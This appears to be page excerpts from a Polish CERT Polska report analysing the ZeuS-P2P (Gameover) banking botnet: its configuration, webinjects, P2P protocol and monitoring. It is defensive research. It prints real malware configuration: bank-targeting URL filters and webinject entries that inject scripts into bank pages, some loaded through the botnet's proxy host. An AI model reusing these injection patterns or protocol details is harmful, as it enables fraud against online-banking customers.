Pobierz ZeuS-P2P monitorowanie oraz analiza i więcej Streszczenia w PDF z Inżynieria tylko na Docsity! R A P O R T ZeuS-P2P monitorowanie oraz analiza v2013-06 CERT Polska / 2013 Raport: ZeuS P2P Spis treści 1 Wstęp 1 1.1 Rys historyczny . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 (Byłe) zagrożenie dla Polskich internautów ? . . . . . . . . . . . . . . . . . 2 1.3 Jak wygląda zainfekowany komputer . . . . . . . . . . . . . . . . . . . . . 2 1.4 Monitorowanie sieci P2P . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.5 O debugowaniu, dekompilacji i obiektach ... . . . . . . . . . . . . . . . . . 4 1.6 Podziękowania . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.7 Definicje i pojęcia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2 ”Nowości” 6 2.1 Różnice w stosunku do ”klasycznych”wariantów. . . . . . . . . . . . . . . 6 2.2 Sekcja ”WebFilters” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.3 Sekcja ”Webinjects” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.3.1 Implementacja PCRE . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.3.2 Tajemnicza zmienna $ PROXY SERVER HOST $ . . . . . . . . . 8 2.3.3 Zmienne $ BOTID $ $ BOTNETID $ oraz $ SUBBOTNET $ . . . 10 2.4 Nowe polecenia w skryptach - ataki DDoS . . . . . . . . . . . . . . . . . . 11 2.5 Ukrycie nazw komend używanych w skryptach . . . . . . . . . . . . . . . . 11 3 Przechowywanie danych - pliki konfiguracyjne i binarne 12 3.1 Wersjonowanie zasobów . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.2 Weryfikowanie podpisu zasobów . . . . . . . . . . . . . . . . . . . . . . . . 13 3.3 Dodatkowe szyfrowanie rekordów . . . . . . . . . . . . . . . . . . . . . . . 15 4 Wątki robocze - funkcja ”CreateService” 15 5 Opis mechanizmu DGA (Domain Generation Algorithm) 16 6 Protokół P2P 17 6.1 Protokół P2P - komunikaty UDP . . . . . . . . . . . . . . . . . . . . . . . 18 6.1.1 UDP 0x00, 0x01 - Pobranie numeru wersji . . . . . . . . . . . . . . 20 6.1.2 UDP 0x02, 0x03 - Pobranie listy peerów . . . . . . . . . . . . . . . 21 6.1.3 UDP 0x04, 0x05 - Pobieranie danych . . . . . . . . . . . . . . . . . 21 6.1.4 UDP 0x50 - Rozgłaszanie adresów super-węzłów . . . . . . . . . . . 22 6.2 Protokół P2P - komunikacja po TCP . . . . . . . . . . . . . . . . . . . . . 22 6.2.1 HTTP via P2P, czyli P2P-PROXY . . . . . . . . . . . . . . . . . . 23 6.2.2 TCP 0x64, 0x66 - Wymuszenie aktualizacji zasobów (PUSH) . . . . 23 6.2.3 TCP 0x68, 0x6A - Żądanie zasobów (PULL) . . . . . . . . . . . . . 24 6.2.4 TCP 0xC8 - Wymuszenie aktualizacji adresów super-węzłów (PUSH) 24 6.2.5 TCP 0xCC - P2P-PROXY . . . . . . . . . . . . . . . . . . . . . . . 24 2 CERT Polska / 2013 Raport: ZeuS P2P 1.2 (Byłe) zagrożenie dla Polskich internautów ? Od września do grudnia 2012 roku w plikach konfiguracyjnych ZeuSa-P2P znajdowały się wpisy związane z adresami systemów transakcyjnych polskich banków. Gameover posia- dał reguły wstrzykiwania kodu dla aż 10 różnych adresów stron. Wprowadzona w systemie transakcyjnym modyfikacja powodowała załadowanie na stronie dodatkowych skryptów JavaScript. Początkowo skrypty serwowane były z adresu http://moj.testowyprzelew.net/ - jak widać nazwa nie została dobrana przypadkowo. Domena ta jest obecnie przejęta i kontrowana (sinkholowana) przez abuse.ch. Następnie przestępcy przerzucili się na nowy mechanizm - P2P-PROXY. Zanonimizowany fragment nowej konfiguracji przedstawiony jest na listingu [4]. Na zainfekowanym komputerze po zalogowaniu do banku pojawiał się komunikat nakłaniający do wykonania przelewu na określony numer konta. Docelowe nu- mery kont pobierane i wyświetlane były przez wstrzyknięty kod JavaScript. 26 grudnia 2012 roku wpisy te zostały usunięte z pliku konfiguracyjnego (czyżby prezent pod choinkę?) - nie mniej jednak aktywny przez 4 miesiące atak zebrał na pewno sporą liczbę ofiar. 1.3 Jak wygląda zainfekowany komputer Jednym z najbardziej charakterystycznych objawów infekcji wariantem P2P jest po- dejrzana aktywność sieciowa. Gameover generuje ruch TCP i UDP na wysokich portach o numerach od 10 000 do 30 000 (zakres widoczny na wykresie 2). Ponieważ każdy zainfeko- wany komputer jest elementem sieci P2P, każdy musi posiadać otwarty port TCP i UDP. Listę otwartych portów można sprawdzić za pomocą systemowego polecenia netstat albo za pomocą wygodnego narzędzia Sysinternals TCPVIEW. Niestety każda wersja ZeuSa stosuje metodę kamuflażu - wstrzykuje swój kod do obcych procesów. Kod wstrzykiwany jest na ogół do pierwszego procesu aktualnie zalogowanego użytkownika - w większości przypadków oznacza explorer.exe. Poniżej na rysunku [1] widoczny jest wynik działania programu TCPVIEW oraz przy- kładowe wpisy jakich należy szukać na liście. Ponieważ systemy Windows począwszy od wersji XP wyposażone są w firewall, do prawidłowego działania niezbędne jest również dodanie przez malware wyjątków do zapory. Stan firewalla oraz listę wyjątków można wy- świetlić za pomocą polecenia netsh firewall show config. Przykładowy wynik działania tego polecenia widoczny jest na Listingu [1]. C:\>netsh firewall show config ... Konfiguracja portow dla profilu Standard: Port Protokol Tryb Nazwa 2 CERT Polska / 2013 Raport: ZeuS P2P ------------------------------------------------------- 11111 UDP Enable UDP 11111 22222 TCP Enable TCP 22222 3389 TCP Enable Pulpit zdalny ... Listing 1: Otware porty w konfiguracji firewalla Rysunek 1: Otwarte porty TCP i UDP 1.4 Monitorowanie sieci P2P Monitorowanie botnetów opartych o sieć P2P jest znacznie łatwiejszym zadaniem w porównaniu do klasycznych, scentralizowanych sieci. Zaimplementowanie podstawowych funkcji umożliwiających interakcję z siecią P2P pozwala na jej prawie nieograniczone prze- glądanie oraz enumerację zainfekowanych komputerów. Nasz system monitorowania ak- tywności sieci P2P pozawala łączyć się kolejno z węzłami sieci pobierając adresy innych zainfekowanych komputerów. Rysunek 2: Histogram zaobserwowanych numerów portów UDP, Liczba próbek: 100000000 3 CERT Polska / 2013 Raport: ZeuS P2P Histogram na rysunku [2] przedstawiający numery portów UDP zdalnych komputerów zarejestrowane przez nasz system monitorowania. Wyraźnie widoczny jest wspomniany wcześniej przedział : od 10 000 do 30 000. Niezerowe wartości po za wymienionym prze- działem to najprawdopodobniej efekt działania innych, źle skonfigurowanych systemów monitorowania, oraz ruch nie związany z siecią P2P. 1.5 O debugowaniu, dekompilacji i obiektach ... Źródłem informacji o sposobie (algorytmie) działania oraz strukturach danych złośli- wego oprogramowania jest reverse engineering (inżynieria wsteczna). W przypadku mal- ware polega ona na ogół na debugowaniu - systematycznym analizowaniu kodu programu podczas jego wykonywania oraz obserwowaniu zmian w pamięci badanego procesu. Dla sprawnego inżyniera czytanie kodu assemblera oraz zrzutów fragmentów pamięci nie jest problemem - dla mniej wprawnych jest to niestety spora bariera. Z pomocą przychodzą różne narzędzia ułatwiające analizowanie przebiegu programu, np.: poprzez wizualizację bloków kodu w postaci grafu, czy też dekompilację kodu do języka wyższego poziomu. Podczas analizy ZeuS-P2P wykorzystywany był program IDA Pro wraz z dodatkiem HexRays Decompiler. IDA Pro jest jednym z najlepszych narzędzi do deasemblacji kodu maszynowego. Posiada również możliwość podpięcia do debuggera, co umożliwia analizowa- nie kodu działającego programu. Dodatek HexRays Decompiler pozwala na dekompilacje badanego kodu do (prawie) języka C. Niestety proces dekompilacji nie jest idealny - głównie ze względu na zmiany prowadzanie w kodzie podczas optymalizacji dokonywanych podczas kompilacji. Zdarza się więc że po dekompilacji w kodzie znajdziemy instrukcję warunkową if zawierającą więcej niż 10 warunków logicznych połączonych ze sobą za pomocą operatorów alternatywy i koniunkcji. Zamieszczone w raporcie listingi kodu to nieznacznie poprawione wyjście działania HexRays Decompiler. Kolejnym problemem jest kwestia poprawnego identyfikowania ”obiektów”. Kod ma- szynowy zawiera jedynie szczątkowe informacje na temat klas wykorzystywanych w pro- gramie. Po kompilacji zanika informacja o dziedziczeniu, a niektóre z metod można jedynie zidentyfikować szukając w pamięci tablic funkcji wirtualnych. Odtworzenie struktury klas w większości polega na zlokalizowaniu w kodzie i analizie konstruktorów i destruktorów. Jedynym sposobem na zidentyfikowanie które funkcje (nie widniejące w tablicach funkcji wirtualnych) są metodami pewnej klasy jest zlokalizowanie tych, które pasują do konwencji thiscall a następnie sprawdzenie kontekstu użycia referencji do obiektu this. Kolejną rzeczą zamazywaną w procesie kompilacji są nazwy (chyba, że podczas kom- pilacji do pliku zostały dołączone symbole ułatwiające debugowanie - na co nie powinno się liczyć podczas analizy malware). Wszystkie występujące w raporcie nazwy (funkcji, zmiennych, struktur danych, sekcji pliku konfiguracyjnego) - o ile nie były one użyte w dostępnym kodzie ZeuSa 2.0.8.9 - są wyłącznie tworem osób analizujących. Dobrane są one w taki sposób, aby jak najlepiej oddawały znaczenie nazwanego elementu. 4 CERT Polska / 2013 Raport: ZeuS P2P ”WebFilters” oraz ”WebInjects”. Sekcja ”WebFilters” zawiera listę wzorców adresów URL dla których ma być wykonana określona czynność. Wpisy poprzedzone wykrzyknikiem ”!” oznaczają, iż dane pochodzące ze strony (której adres pasuje do wzorca) nie będą zbierane. Wpisy poprzedzone małpą ”@” oznaczają, iż na stronie (której adres pasuje do wzorca) przy każdym kliknięciu myszką zostanie wykonany zrzut ekranu. Ten mechanizm pomaga monitorować klawiatury ekranowe i inne interaktywne elementy zabezpieczające. Poniżej, na listingu [2] widoczna jest omówiona sekcja pochodząca z badanego wariantu P2P. Znala- zła się tutaj jedna polska domena - ”nasza-klasa.pl”. Jest ona poprzedzona wykrzyknikiem - co oznacza, iż dane pochodzące z tego portalu są dla bot-mastera bezwartościowe. 1 Entry WebFilters: 2 !http ://* 3 !https :// server.iad.liveperson.net/* 4 !https :// chatserver.comm100.com/* 5 !https ://fx.sbisec.co.jp/* 6 !https :// match2.me.dium.com/* 7 !https :// clients4.google.com/* 8 !https ://*. mcafee.com/* 9 !https ://www.direktprint.de/* 10 !*. facebook.com/* 11 !*. myspace.com/* 12 !* twitter.com/* 13 !*. microsoft.com/* 14 !*. youtube.com/* 15 !* hotbar.com* 16 !https ://it.mcafee.com* 17 !https :// telematici.agenziaentrate.gov.it* 18 !https ://www.autobus.it* 19 !https ://www.vodafone.it/* 20 !* punjabijanta.com/* 21 !*chat.* 22 !*hi5.com 23 !* musicservices.myspacecdn.com* 24 !* abcjmp.com* 25 !* scanscout.com* 26 !* streamstats1.blinkx.com* 27 !*http :// musicservices.myspacecdn.com* 28 !* mochiads.com 29 !*nasza -klasa.pl* 30 !*bebo.com* 31 !*erate/eventreport.asp* 32 !* mcafee.com* 33 !*my-etrust.com* 34 !https ://*. lphbs.com/* 35 @https ://*. onlineaccess*AccountOverview.aspx 36 @https :// bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=←↩ loadLastFortyMovementList 37 @https :// www3.csebo.it/* 38 @https :// qweb.quercia.com/* 39 @https :// www.sparkasse.it/* 40 @https :// dbonline.deutsche -bank.it/* 41 @https ://*. cedacri.it/* 42 @https :// www.bancagenerali.it/* 43 @https :// www.csebo.it/* 44 @https ://*. deutsche -bank.it/* 45 @https :// hbclassic.bpergroup.net/*/ login 46 @https :// nowbankingpiccoleimprese* 47 @https :// www.inbiz.intesasanpaolo.com/* 48 end Listing 2: plik konfiguracyjny - sekcja filtrów URL 7 CERT Polska / 2013 Raport: ZeuS P2P 2.3 Sekcja ”Webinjects” 2.3.1 Implementacja PCRE Ta część pliku konfiguracyjnego zawiera opis operacji na treści strony internetowej po- dejmowanych w zależności od żądanego adresu URL. Każda pozycja zawiera listę warunków - wzorców adresów URL - które dopasowywane są do adresu podczas otwierania konkretnej strony internetowej. Po niej następuje lista akcji - definiująca w jaki sposób określone części treści strony internetowej mają być modyfikowane. Nowością (w stosunku do wersji 2.0.8.9) jest możliwość wykorzystania wyrażeń regularnych PCRE - zarówno w części określającej wzorzec adresu URL oraz w samej definicji webinjectu. Poniżej (listing [3]) fragment pliku konfiguracyjnego zawierająca prosty webinject. Jego działanie polega znalezieniu w treści strony tagu BODY (linia 5) a następnie wstrzyknięciu (dopisaniu) skryptu (linijka 8). 1 Entry webinject: 2 condition: MATCH: ^https ://www\.adres -pewnego -banku\.com/.* 3 condition: NOT -MATCH: \.(gif|png|jpg|css|swf)($|\?) 4 data -begin 5 <BODY .*? >(?P<inject >) 6 data -end 7 inject -begin 8 <script > 9 window.onerror=function(msg){return true}; document.body.style.display ="none"; 10 </script > 11 inject -end 12 ... 13 end Listing 3: plik konfiguracyjny - proste wstrzykiwanie kodu 2.3.2 Tajemnicza zmienna $ PROXY SERVER HOST $ W treściach wstrzykiwanych do strony internetowej może znaleźć się również kod wczy- tywany z zewnętrznych źródeł. Jest to możliwe np: poprzez umieszczenie tagów script z parametrem src. Aby uniemożliwić namierzenie oryginalnego źródła dystrybucji takich skryptów istnieje możliwość wykorzystania nowego mechanizmu - P2P-PROXY. Poniżej (listing [4]) przedstawiony jest fragment pliku konfiguracyjnego (sekcji webinjects), który wykorzystuje ten zabieg w celu wstrzyknięcia dwóch skryptów w kontekst strony banku. Tego typu mechanizm stosowany był podczas wspomnianych wcześniej ataków na klientów bankowości internetowej polskich banków. 1 Entry webinject: 2 condition: MATCH: ^https :// www\.adres -jednego -z-bankow \.pl/.*? 3 condition: NOT -MATCH: \.(gif|png|jpg|css|swf)($|\?) 4 data -begin: 5 </body >(?P<inject >) 6 data -end 7 inject -begin 8 <script type="text/javascript" src="http :// $_PROXY_SERVER_HOST_$/pl/?st"></script > 9 <script type="text/javascript" src="http :// $_PROXY_SERVER_HOST_$/pl/?q=999"></script > 8 CERT Polska / 2013 Raport: ZeuS P2P Serwis Bankowy Przeglądarka Bot Sieć PROXY Zapytanie HTTP treść przejęcie treści podmiana treści - wstrzyknięcie kodu <script src=”http://localhost:1234/....” treść Przetwarzanie treści: pobranie skryptu z adresu http://localhost:1234/... Żądanie http HTTP → P2P Ruch P2P ... Ruch P2P HTTP ← P2P treść Wyświetlenie treści Rysunek 3: Mechanizm podmiany treści strony oraz działanie P2P-PROXY 10 inject -end 11 end Listing 4: plik konfiguracyjny - wykorzystanie P2P-PROXY Sekwencja wstrzykiwania kodu oraz obsługi P2P-PROXY przedstawiona jest na dia- gramie [3]. Działanie P2P-PROXY zostało dokładnie omówione w sekcji [6.2.1]. Podczas przetwarzania wstrzykiwanego kodu ciąg znaków $ PROXY SERVER HOST $ zamieniany jest (patrz listing [17]) na adres localhost:port-tcp. port-tcp to numer portu TCP wyko- rzystywanego przez bota na zainfekowanej maszynie. Następnie przeglądarka internetowa podczas przetwarzania treści strony chcąc wyświetlić dany element wysyła żądanie HTTP pod wygenerowany adres ”localhost” - czyli do lokalnego komputera. Żądanie to odbierane jest przez bota i przekazywane do mechanizmu P2P-PROXY. Widoczne jest to na rysunku [4]. Aby wyświetlić treść strony, przeglądarka internetowa (w tym przypadku Firefox) na- wiązuje połączenie z localhost na porcie 2222 (pozycja 2 i 3). Połączenie odbierane jest przez proces explorer.exe, ponieważ w nim właśnie wstrzyknięte są wątki robocze ZeuSa. Bot odbiera to połączenie, a następnie opakowuje je w odpowiedni komunikat i przeka- zuje do jednego z super-węzłów. Wyświetlona w przeglądarce na poniższym obrazku treść pochodzi z symulowanej przez nas sieci super-węzłów. 9 CERT Polska / 2013 Raport: ZeuS P2P następnie porównanie wyliczonej wartości z wpisami w tablicy. Po znalezieniu pasującego wpisu wywoływana zostaje określona funkcja. 3 Przechowywanie danych - pliki konfiguracyjne i bi- narne Dane w ZeuSie przechowywane są w strukturze nazwanej storage. Składa się ona z nagłówka STORAGE (jego budowę przedstawia tabela [2]) oraz rekordów (z ang. items). W nagłówku znajdują się informacje o ilości danych zawartych w rekordach oraz suma kontrolna całości. Każdy rekord zawiera na początku nagłówka cztery pola po cztery bajty każde: identyfikator, typ, rozmiar, oraz rozmiar po rozpakowaniu. Po nagłówku znajduje się treść rekordu - może być ona spakowana, stąd dwa pola mówiące o rozmiarze danych. Poniżej tabela [1] przedstawia budowę struktury składowania danych. Tablica 1: struktura storage nagłówek STORAGE rozmiar | flagi | md5 | ... rekord 1 numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]] rekord 2 numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]] ... ... rekord N numer | typ | rozmiar-1 | rozmiar-2 | [[ DANE ]] Struktura ta wykorzystywana jest to składowania i przesyłania wszystkich danych bi- narnych - zarówno plików konfiguracyjnych jak i raportów wysyłanych do centrum zarzą- dzania CnC. 3.1 Wersjonowanie zasobów typedef struct { BYTE padding [0x14]; DWORD size; DWORD flags; DWORD version; BYTE md5[0x10]; } StorageHeader; // Kod ZeuS -P2P // dekompilacja CERT Polska typedef struct { BYTE randData [20]; DWORD size; DWORD flags; DWORD count; BYTE md5Hash [16/* MD5HASH_SIZE */]; }STORAGE; // Kod zeus 2.0.8.9 // Tablica 2: Definicja struktury ”Storage” w dwóch wersjach ZeuSa 12 CERT Polska / 2013 Raport: ZeuS P2P Gameover - w porównaniu do wersji 2.0.8.9 - wprowadził zmianę w budowie nagłówka STORAGE. Pole mówiące o liczbie rekordów zostało zastąpione numerem wersji - jest to 32 bitową liczba całkowita. Z zebranych danych wynika, iż numery wersji kolejnych zasobów nie są zwiększane o stałą wartość. Po wykreśleniu zależności numeru wersji w stosunku do daty zaobserwowania w sekundach widać liniową zależność (patrz rysunki [6] i [5]).Po niezbyt skomplikowanych operacjach można uzyskać informację, iż wersja ”zerowa” plików wypuszczona została w okolicach 1314662400 sekundy czasu Unix EPOCH. Po przekształceniu tej wartości na czas UTC otrzymujemy północ (00:00), 30 sierpnia 2011 roku. Data ta odpowiada pierwszym doniesieniom3 o wykryciu malware który wygląda na mutację ZeuSa i jednocześnie generuje ruch UDP. Na zamieszczonych wykresach widać również, jak często wypuszczane są aktualizacje pliku konfiguracyjnego oraz binarnego user@linux# date -d @1314662400 -u wto , 30 sie 2011, 00:00:00 UTC Listing 8: konwersja daty z Unix EPOCH do UTC Rysunek 5: obserwowane wersje pliku konfiguracyjnego w czasie 3.2 Weryfikowanie podpisu zasobów Jedną z podstawowych cech sieci P2P jest bezpośrednia wymiana zasobów między jej węzłami. Ponieważ taka metoda dystrybucji danych może pozwalać na przesyłanie sfałszo- wanych treści, zasoby wymieniane w sieci P2P są podpisywane cyfrowo. Jest to mechanizm chroniący botnet poprzez weryfikację źródła pochodzenia zasobów - tylko botmaster po- siada klucz prywatny, którym może podpisać propagowane dane. Przedstawiona na listingu [22] funkcja odpowiedzialna jest za weryfikację podpisu cyfrowego. Przyjmuje ona wskaźnik do danych oraz ich rozmiar. Klucz publiczny, który wykorzystywany jest do weryfikacji, przechowywany jest w pamięci w formie zaszyfrowanej. Szyfr jest bardzo prosty i opiera się na funkcji XOR (linie od 6 do 13), ale zapobiega odnalezieniu klucza w pamięci procesu. 3abuse.ch : https://www.abuse.ch/?p=3499 13 CERT Polska / 2013 Raport: ZeuS P2P Rysunek 6: obserwowane wersje pliku binarnego w czasie Rysunek 7: Zrzut pamięci zawierający rozkodowany klucz publiczny typedef struct _PUBLICKEYSTRUC { BYTE bType; BYTE bVersion; WORD reserved; ALG_ID aiKeyAlg; } BLOBHEADER , PUBLICKEYSTRUC; Listing 9: Struktura PUBLICKEYSTRUC Pole Wartość Nazwa stałej Opis bType 0x06 PUBLICKEYBLOB The key is a public key. bVersion 0x02 CUR BLOB VERSION - siKeyAlg 0x00002400 CALG RSA SIGN RSA public key signature Listing [22] przedstawia kod odpowiedzialny za weryfikację podpisu zasobów. Procedura sprawdzająca poprawność podpisu korzystają ze standardowego API kryptograficznego z biblioteki advapi32.dll (funkcje takie jak CryptImportKey, CryptGetKeyParam, CryptVerifySignatureW). Rysunek [7] przedstawia fragment pamięci zawierający klucz publiczny po odkodowaniu. Analizując opis funkcji CryptImportKey można znaleźć in- formacje, iż dane podane jako jej parametr powinny zawierać na początku strukturę PU- 14 CERT Polska / 2013 Raport: ZeuS P2P 6 Protokół P2P Rysunek 8: Budowa sieci P2P Największą innowacją - której z resztą ten wariant zawdzięcza nazwę - jest komu- nikacja przy pomocy sieci P2P. Jej zada- niem jest decentralizacja zarządzania siecią. Komunikaty przesyłane są pomiędzy zain- fekowanymi komputerami, a nie bezpośred- nio do CnC. Każdy komputer po zainfe- kowaniu staje się elementem sieci (na rys. p2p-node) i uczestniczy w wymianie danych. Dodatkowo wybrane maszyny mogą zostać oznaczone jako ”super-węzły”, czy też wę- zły PROXY (rys. p2p-super-node). Uczest- niczą one wtedy również przekazywaniu da- nych do serwera CnC. Są one najprawdopodobniej wybierane ręcznie spośród najdłużej aktywnych węzłów lub takich, które posiadają łącze o dużej przepustowości. Protokół wykorzystany w sieć P2P przypomina protokołu Kademlia. Każdy węzeł sieci jest identyfikowany za pomocą unikalnego 20 bajtowego identyfikatora nodeID. Genero- wany jest on podczas pierwszego uruchomienia bota jako suma SHA1 z dwóch ciągów znaków: identyfikatora bota CompId oraz identyfikatora systemu GUID. Podobnie do pro- tokołu Kademlia odległość między dwoma węzłami liczona jest za pomocą metryki XOR. Ta miara wykorzystywana jest między innymi do wybierania najlepszych węzłów z tablicy sąsiadów w mechanizmie wymiany peerów (sekcja [6.1.2]). Sieć P2P jest gotowa na i w pełni kompatybilna z IPv6. Każdy węzeł sieci posiadać może posiadać równolegle dwa aktywne adresy IP: IPv4 oraz IPv6. Do każdego z adresów przypisany jest unikatowy numer portu UDP, na którym odbywa się podstawowa komu- nikacja P2P. Każdy węzeł posiada również otwarty port TCP, który służy do wymiany większych porcji danych. Listing [24] przestawia fragment procedury obsługującej przy- chodzące połączenia. Każde połączenie TCP obsługiwane jest jako nowy wątek (linia 9), natomiast pakiety UDP obsługiwane są w momencie ich odebrania w głównym wątku. W obu przypadkach przed rozpoczęciem procedury obsługi następuje sprawdzenie, przy po- mocy funkcji banlist::isAddrBlacklisted, czy łączący się adres nie jest zablokowany. Opis działania tej funkcji znajduje się w sekcji [8.1]. Każda komunikacja w sieci P2P rozpoczyna się od wysłania pakietu P2P (patrz tabela [5]). Pakiet taki zawsze zawiera nagłówek p2p-header. Składa się on miedzy innymi z pola mówiącego o typie pakietu (cmd), identyfikatora węzła wysyłającego (senderID) oraz unikalego identyfikatora sesji P2p SSID. Ciekawym zjawiskiem jest występowanie w komu- nikatach dużej ilości losowych danych. Pole junkSize losowane jest każdorazowo podczas tworzenia pakietu P2P, a następnie na koniec doklejana jest wylosowana liczba losowych 17 CERT Polska / 2013 Raport: ZeuS P2P bajtów.Prawdopodobnie ma to utrudnić heurystyczne wykrywanie podejrzanego ruchu czy też tworzenie sygnatur. Tablica 4: struktura nagłówka p2p-header Wielkość (bajty) Nazwa pola Opis 1 randByte losowa wartość, różna od 0 1 TTL pole TTL lub wartość losowa 1 junkSize liczba dodatkowych bajtów na końcu pakietu 1 cmd polecenie (typ pakietu) 20 SSID identyfikator sesji 20 senderID identyfikator węzła wysyłającego Tablica 5: Budowa pakietu P2P Wielkość (bajty) Opis zawartości 44 Nagłówek P2P (patrz: tab. [4]) 0 lub więcej Treść komunikatu (zależna od header.cmd) hdr.junkSize Losowe bajty (doklejane na koniec pakietu) 6.1 Protokół P2P - komunikaty UDP Do wymiany danych niezbędnych w celu utrzymania łączności z siecią P2P malware używa protokół UDP. Do komunikacji wykorzystywane, jak już zostało to wspomniane, są porty z przedziału od 10 000 do 30 000. Użycie tego zakresu portów oraz protokołu UDP zmniejsza prawdopodobieństwo wykrycia podejrzanego ruchu, ponieważ wiele gier kompu- terowych do komunikacji sieciowej wykorzystuje protokół UDP oraz porty o wysokich nu- merach. Na listingu [25] przestawiony jest funkcja wstępnie przetwarzająca dane odebrane za pomocą protokołu UDP. Przychodzący pakiet na wstępie dekodowany (linia 11) jest przy pomocy prostej funkcji XOR z sąsiednim bajtem (nazwa funkcji z ZeuS 2.0.8.9: visu- alDecrypt). Każda komunikacja UDP (poza pakietami rozgłaszania super-węzłów) składa się z zapytania oraz odpowiedzi. Tabela [6] przedstawia zestawienie typów komunikatów przesyłanych za pomocą UDP. W protokole P2P przyjęto konwencję, iż komendy o nu- merach parzystych oznaczają zapytanie. Numer nieparzysty wskazuje iż odebrany pakiet zawiera odpowiedź na wysłane wcześniej dane. 18 CERT Polska / 2013 Raport: ZeuS P2P Listing [26] przedstawia funkcję odpowiedzialną za przetwarzanie pakietu UDP. Je- żeli pole header.cmd wskazuje na odpowiedź, następuje przeszukanie listy wyemitowanych zapytań w celu dopasowania odpowiedzi. Podczas przeszukiwania porównywany jest iden- tyfikator sesji (SSID, linia 24) oraz wartość pola header.cmd (linia 25) w zapytaniu. Jeżeli sprawdzanie zakończy się pomyślnie, przetwarzany pakiet dowiązywany jest do pakietu- zapytania (linia 26), ustawiane jest odpowiednie zdarzenie (linia 27) wskazujące na otrzy- manie odpowiedzi, a pakiet-zapytanie usuwany jest z kolejki oczekujących (linia 28). Tabela 6 przedstawia zidentyfikowane rodzaje pakietów UDP. Tablica 6: Lista komend UDP Wartość pola cmd Opis pakietu 0x00 żądanie numerów wersji 0x01 odpowiedź 0x02 żądanie listy peerów 0x03 odpowiedź 0x04 żądanie danych 0x05 odpowiedź 0x06 rozgłaszanie adresów super-węzłów 0x32 rozgłaszanie adresów super-węzłów 19 CERT Polska / 2013 Raport: ZeuS P2P Zapytanie [ 0x04 ] Pakiet 0x04 służy do zainicjowania trans- misji danych za pomocą protokołu UDP. Zawiera on informacje jakiego typu zasoby chcemy pobrać oraz jaka część danych nas interesuje. Z uwagi na charakter protokołu UDP (bezpołączeniowy, limit na wielkość jednego pakietu), w celu pobrania całego za- sobu niezbędna jest wymiana wielu pakietów [ 0x04 , 0x05 ]. typedef struct { BYTE resourceType; // 0 or 1 WORD offset; WORD chunkSize; } pkt04_dataQuery; Listing 15: Pakiet - zapytanie o dane Odpowiedź [ 0x05 ] W odpowiedzi na pakiet 0x04 bot wysyła pakiet 0x05. Zawiera on określony frag- ment żądanych danych. Dodatkowo pakiet odpowiedzi zawiera pole transferID które nie zmienia się podczas transmisji jednego za- sobu. Ma to zapobiegać zakłócaniu transmi- sji oraz wykryciu błędów. Poniżej struktura pakietu-odpowiedzi : typedef struct { DWORD transferID; BYTE data [...]; // pkt04_dataQuery.←↩ chunkSize } pkt05_dataReply Listing 16: Pakiet 0x05 6.1.4 UDP 0x50 - Rozgłaszanie adresów super-węzłów Pakiety tego typu służą do rozgłaszania w sieci adresów super-węzłów. Każdy nowy pakiet, poza informacją o adresie węzła zawiera podpis cyfrowy. Każdy komputer po otrzy- maniu pakietu typu 0x50 rozsyła (rozgłasza) go do wszystkich swoich sąsiadów (Listing [27] - zaznaczone linie), przy czym wartość pola TTL zmniejszana jest o 1. 6.2 Protokół P2P - komunikacja po TCP Malware do wymiany większych porcji danych używa protokołu TCP. Podobnie jak w przypadku portu UDP jego numer jest losowany z przedziału od 10000 do 30000. Ten sam port TCP używany jest zarówno do obsługi protokołu P2P oraz przez usługę HTTP- PROXY. Jak widać na listingu [28]), bot odczytuje z gniazda 5 bajtów, a następnie spraw- dza czy jest to ciąg znaków GET lub POST (linia 8) - co wskazywało by na żądanie HTTP. Jeżeli jedno z dopasowań zakończyło się sukcesem program sprawdza czy połączenie po- chodzi z lokalnego komputera (localhost, adres 127.0.0.1 ) - jeżeli tak, zostaje uruchamiana (omówiona dalej w raporcie) obsługa przekazywania HTTP przez sieć P2P (linia 23). Jeżeli pobrane 5 bajtów nie wskazuje na żądanie HTTP, program traktuje nadcho- dzące dane jako protokół P2P. Każda sesja zaczyna się zawsze od odczytania nagłówka p2p-header, po której następuje wymiana danych. Lista komend obsługiwanych za pomocą protokołu TCP przedstawiona została w tabeli [7]. Każdy transmitowany bajt - łącznie z nagłówkiem - jest szyfrowany za pomocą algorytmu RC4. Dla każdej sesji TCP wyko- rzystywane są dwa klucze: nadawcy i odbiorcy. Każdy z kluczy RC4 budowany jest na podstawie identyfikatora węzła będącego odbiorcą danych. 22 CERT Polska / 2013 Raport: ZeuS P2P Tablica 7: Lista komend TCP CMD Opis 0x64 Wymuszenie aktualizacji - plik konfiguracyjny 0x66 Wymuszenie aktualizacji - plik binarny 0x68 Żądanie danych - plik konfiguracyjny 0x6A Żądanie danych - plik binarny (exe) 0xC8 Wymuszenie aktualizacji listy super-węzłów (proxy) 0xCC Żądzanie P2P-PROXY 6.2.1 HTTP via P2P, czyli P2P-PROXY W analizowanym wariancie ZeuSa zaimplementowany został mechanizm nazwany przez nas P2P-Proxy. Z punktu widzenia klienta (np.: przeglądarki internetowej) działa on jak zwykłe proxy HTTP, odbierając zapytanie i zwracając odpowiedź. Innowacyjność tego mechanizmu polega na tym, iż zapytanie HTTP opakowywane jest w protokół P2P a na- stępnie przesyłane za pomocą łańcucha super-węzłów do miejsca docelowego. Pozwala on na serwowanie treści przez protokół HTTP bez konieczności umieszczania ich na publicz- nym adresie IP czy domenie. W pierwszej kolejności po nawiązaniu połączenia z super-węzłem wysyłany jest inicju- jący połączenie nagłówek P2P z CMD=0xCC (patrz sekcja [6.2.1]). Następnie w celu sprawdzenia działania kanału wysyłane jest żądanie testowe GET /test. Jeżeli próba za- kończy się powodzeniem wysyłane jest 5 odczytanych wcześniej bajtów (początek funkcji na listingu [28]). Dalej dodawany do żądania jest nagłówek HTTP zawierający identyfikator bota, a całe zapytanie HTTP przesyłane jest przez nawiązane połączenie do super-węzła, jak na listingu [29]. Ten sam mechanizm 